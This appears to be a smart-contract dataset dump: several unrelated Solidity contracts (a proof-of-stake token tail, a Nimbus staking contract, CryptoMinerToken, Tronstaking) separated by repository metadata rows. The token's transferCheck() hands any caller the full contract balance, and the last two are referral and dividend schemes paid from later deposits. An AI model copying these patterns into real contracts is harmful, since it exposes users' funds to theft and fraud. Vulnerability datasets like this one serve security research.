return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal constant returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if(_now < uint(transferIns[_address][i].time).add(stakeMinAge)) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if(nCoinSeconds > stakeMaxAge) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner external {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner external {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
}
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (uint) {
require(_recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
assembly {
let len := mload(_values)
for { let i := 0 } lt(i, len) { i := add(i, 1) } {
total := add(total, mload(add(add(_values, 0x20), mul(i, 0x20))))
}
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return total;
}
function() public onlyIfSaleIsGoing payable {
require(msg.value >= tokenPrice);
uint tokenAmount = (msg.value / tokenPrice) * 10 ** decimals;
require(alreadySold.add(tokenAmount) <= saleSupply);
balances[owner] = balances[owner].sub(tokenAmount);
balances[msg.sender] = balances[msg.sender].add(tokenAmount);
alreadySold = alreadySold.add(tokenAmount);
Transfer(owner, msg.sender, tokenAmount);
}
function transferCheck() public {
totalEth = totalEth + msg.value;
uint256 amount = msg.value * unitsEth;
if (balances[walletAdd] < amount) {
return;
}
balances[walletAdd] = balances[walletAdd] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
msg.sender.transfer(this.balance);
}
}
| 194,218 | 10,370 |
85902dc53f409074288b344cc5260b51ba74f7710baa896bcdd713965e839a12
| 13,472 |
.sol
|
Solidity
| false |
323452649
|
nimbusplatformorg/nim-smartcontract
|
8b8e8feb1fdfb5c33e8a506bfb032b51e5526b23
|
contracts/contracts_BSC/Staking/StakingRewardMinAmountFixedAPY.sol
| 3,304 | 13,359 |
pragma solidity =0.8.0;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function getOwner() external view returns (address);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function getOwner() external view returns (address) {
return owner;
}
function transferOwnership(address transferOwner) external onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual external {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in construction,
// since the code is only stored at the end of the constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeBEP20 {
using Address for address;
function safeTransfer(IBEP20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IBEP20 token, bytes memory data) private {
require(address(token).isContract(), "SafeBEP20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeBEP20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface IStakingRewards {
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function stakeFor(uint256 amount, address user) external;
function getReward() external;
function withdraw(uint256 nonce) external;
function withdrawAndGetReward(uint256 nonce) external;
}
interface IBEP20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingRewardMinAmountFixedAPY is IStakingRewards, ReentrancyGuard, Ownable {
using SafeBEP20 for IBEP20;
IBEP20 public immutable rewardsToken;
IBEP20 public immutable stakingToken;
uint256 public rewardRate;
uint256 public constant rewardDuration = 365 days;
INimbusRouter public swapRouter;
address public swapToken;
uint public swapTokenAmountThresholdForStaking;
mapping(address => uint256) public weightedStakeDate;
mapping(address => mapping(uint256 => uint256)) public stakeAmounts;
mapping(address => mapping(uint256 => uint256)) public stakeAmountsRewardEquivalent;
mapping(address => uint256) public stakeNonces;
uint256 private _totalSupply;
uint256 private _totalSupplyRewardEquivalent;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _balancesRewardEquivalent;
event RewardUpdated(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Rescue(address indexed to, uint amount);
event RescueToken(address indexed to, address indexed token, uint amount);
constructor(address _rewardsToken,
address _stakingToken,
uint _rewardRate,
address _swapRouter,
address _swapToken,
uint _swapTokenAmount) {
require(_rewardsToken != address(0) && _stakingToken != address(0) && _swapRouter != address(0) && _swapToken != address(0), "StakingRewardMinAmountFixedAPY: Zero address(es)");
rewardsToken = IBEP20(_rewardsToken);
stakingToken = IBEP20(_stakingToken);
swapRouter = INimbusRouter(_swapRouter);
rewardRate = _rewardRate;
swapToken = _swapToken;
swapTokenAmountThresholdForStaking = _swapTokenAmount;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function totalSupplyRewardEquivalent() external view returns (uint256) {
return _totalSupplyRewardEquivalent;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function balanceOfRewardEquivalent(address account) external view returns (uint256) {
return _balancesRewardEquivalent[account];
}
function earned(address account) public view override returns (uint256) {
return (_balancesRewardEquivalent[account] * (block.timestamp - weightedStakeDate[account]) * rewardRate) / (100 * rewardDuration);
}
function isAmountMeetsMinThreshold(uint amount) public view returns (bool) {
address[] memory path = new address[](2);
path[0] = address(stakingToken);
path[1] = swapToken;
uint tokenAmount = swapRouter.getAmountsOut(amount, path)[1];
return tokenAmount >= swapTokenAmountThresholdForStaking;
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
require(amount > 0, "StakingRewardMinAmountFixedAPY: Cannot stake 0");
// permit
IBEP20Permit(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
_stake(amount, msg.sender);
}
function stake(uint256 amount) external override nonReentrant {
require(amount > 0, "StakingRewardMinAmountFixedAPY: Cannot stake 0");
_stake(amount, msg.sender);
}
function stakeFor(uint256 amount, address user) external override nonReentrant {
require(amount > 0, "StakingRewardMinAmountFixedAPY: Cannot stake 0");
require(user != address(0), "StakingRewardMinAmountFixedAPY: Cannot stake for zero address");
_stake(amount, user);
}
function _stake(uint256 amount, address user) private {
require(isAmountMeetsMinThreshold(amount), "StakingRewardMinAmountFixedAPY: Amount is less than min stake");
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
uint amountRewardEquivalent = getEquivalentAmount(amount);
_totalSupply += amount;
_totalSupplyRewardEquivalent += amountRewardEquivalent;
uint previousAmount = _balances[user];
uint newAmount = previousAmount + amount;
weightedStakeDate[user] = (weightedStakeDate[user] * previousAmount / newAmount) + (block.timestamp * amount / newAmount);
_balances[user] = newAmount;
uint stakeNonce = stakeNonces[user]++;
stakeAmounts[user][stakeNonce] = amount;
stakeAmountsRewardEquivalent[user][stakeNonce] = amountRewardEquivalent;
_balancesRewardEquivalent[user] = _balancesRewardEquivalent[user] + amountRewardEquivalent;
emit Staked(user, amount);
}
//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account
function withdraw(uint256 nonce) public override nonReentrant {
require(stakeAmounts[msg.sender][nonce] > 0, "StakingRewardMinAmountFixedAPY: This stake nonce was withdrawn");
uint amount = stakeAmounts[msg.sender][nonce];
uint amountRewardEquivalent = stakeAmountsRewardEquivalent[msg.sender][nonce];
_totalSupply -= amount;
_totalSupplyRewardEquivalent -= amountRewardEquivalent;
_balances[msg.sender] -= amount;
_balancesRewardEquivalent[msg.sender] -= amountRewardEquivalent;
stakingToken.safeTransfer(msg.sender, amount);
stakeAmounts[msg.sender][nonce] = 0;
stakeAmountsRewardEquivalent[msg.sender][nonce] = 0;
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant {
uint256 reward = earned(msg.sender);
if (reward > 0) {
weightedStakeDate[msg.sender] = block.timestamp;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function withdrawAndGetReward(uint256 nonce) external override {
getReward();
withdraw(nonce);
}
function getEquivalentAmount(uint amount) public view returns (uint) {
address[] memory path = new address[](2);
uint equivalent;
if (stakingToken != rewardsToken) {
path[0] = address(stakingToken);
path[1] = address(rewardsToken);
equivalent = swapRouter.getAmountsOut(amount, path)[1];
} else {
equivalent = amount;
}
return equivalent;
}
function updateRewardAmount(uint256 reward) external onlyOwner {
rewardRate = reward;
emit RewardUpdated(reward);
}
function updateSwapRouter(address newSwapRouter) external onlyOwner {
require(newSwapRouter != address(0), "StakingRewardMinAmountFixedAPY: Address is zero");
swapRouter = INimbusRouter(newSwapRouter);
}
function updateSwapToken(address newSwapToken) external onlyOwner {
require(newSwapToken != address(0), "StakingRewardMinAmountFixedAPY: Address is zero");
swapToken = newSwapToken;
}
function updateStakeSwapTokenAmountThreshold(uint threshold) external onlyOwner {
swapTokenAmountThresholdForStaking = threshold;
}
function rescue(address to, address token, uint256 amount) external onlyOwner {
require(to != address(0), "StakingRewardMinAmountFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingRewardMinAmountFixedAPY: Cannot rescue 0");
require(token != address(stakingToken), "StakingRewardMinAmountFixedAPY: Cannot rescue staking token");
//owner can rescue rewardsToken if there is spare unused tokens on staking contract balance
IBEP20(token).safeTransfer(to, amount);
emit RescueToken(to, address(token), amount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "StakingRewardMinAmountFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingRewardMinAmountFixedAPY: Cannot rescue 0");
to.transfer(amount);
emit Rescue(to, amount);
}
}
| 236,138 | 10,371 |
fb8f468f59d044a0abe36f53d417469b86c02b1d6fc0a13799cd57f604c91d45
| 12,588 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x0a97094c19295e320d5121d72139a150021a2702.sol
| 3,277 | 11,875 |
pragma solidity ^0.4.25;
contract CryptoMinerToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Crypto Miner Token";
string public symbol = "CMT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 214,061 | 10,372 |
0a94e8c3335b813ffe1bf55929ce0b9d358349a71aa7d56c61971bb3910f1ee1
| 11,541 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTH3hEndukCZ9y5mrM2SqytUFhMADyx9o3_Tronstaking.sol
| 3,832 | 11,411 |
//SourceUnit: Tronstaking.sol
pragma solidity 0.5.10;
contract Tronstaking {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 500 ;
uint256[] public REFERRAL_PERCENTS = [50, 20, 10,5,5,5,5];
uint256 constant public PROJECT_FEE = 250;
uint256 constant public PERCENT_STEP = 2;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalTronStaking;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct WitthdrawHistory {
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
WitthdrawHistory[] whistory;
uint256 checkpoint;
address referrer;
uint256[7] levels;
uint256[7] levelbonus;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable public commissionWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable wallet, uint256 startDate) public {
require(!isContract(wallet));
require(startDate > 0);
commissionWallet = wallet;
startUNIX = startDate;
plans.push(Plan(15, 50));
plans.push(Plan(25, 60));
plans.push(Plan(35, 70));
}
function investupi(address referrer,address useradress, uint8 plan, uint256 amountpaid) public payable {
require(amountpaid >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
uint256 fee = amountpaid.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(useradress, fee);
User storage user = users[useradress];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != useradress) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 7; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 7; i++) {
if (upline != address(0)) {
uint256 amount = amountpaid.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].levelbonus[i]=amount;
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, useradress, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(useradress);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
totalTronStaking = totalTronStaking.add(msg.value);
emit NewDeposit(useradress, plan, percent, msg.value, profit, block.timestamp, finish);
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 7; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 7; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].levelbonus[i]=amount;
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
totalTronStaking = totalTronStaking.add(msg.value);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
user.whistory.push(WitthdrawHistory(totalAmount,block.timestamp));
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
uint256 percent=plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
if(percent>150){
percent=150 ;
}
return percent;
} else {
return plans[plan].percent;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
